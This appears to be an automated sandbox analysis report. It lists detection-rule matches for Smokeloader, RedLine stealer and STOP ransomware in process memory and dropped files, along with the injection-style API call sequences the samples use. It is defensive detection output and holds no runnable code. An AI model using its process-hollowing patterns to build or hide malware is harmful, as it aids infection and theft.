Source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000027.00000002.692310620.0000000003FD0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000011.00000002.660308358.0000000004070000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.636971935.0000000004007000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000019.00000002.733202307.0000000002390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.798554583.0000000002458000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000016.00000002.678257505.00000000025C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.661077673.0000000004025000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.564952792.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000007.00000002.631348462.000000000403E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.633423199.0000000002388000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D5C1.exe PID: 6912, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D5C1.exe PID: 6964, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4FC4.exe PID: 7024, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4FC4.exe PID: 3536, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 4132, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 1900, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 4588, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 5672, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: B666.exe PID: 6804, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: B666.exe PID: 4624, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 3720, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 5496, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 4149.exe PID: 7004, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\AppData\Local\Temp\FB94.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: String function: 0042F7C0 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: String function: 0044F23E appears 44 times
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: String function: 00428520 appears 51 times
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: String function: 04128EC0 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: String function: 04130160 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: String function: 004547A0 appears 31 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401558 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401558
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401749 NtMapViewOfSection,NtMapViewOfSection,	0_2_00401749
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401564
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401577
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401523 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401523
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401585 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401585
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040158C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040158C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040159A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159A
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00401558 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401558
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00401749 NtMapViewOfSection,NtMapViewOfSection,	4_2_00401749
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401564
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401577
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00401523 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401523
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00401585 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401585
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_0040158C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_0040158C
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_0040159A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_0040159A
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_04100110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	5_2_04100110

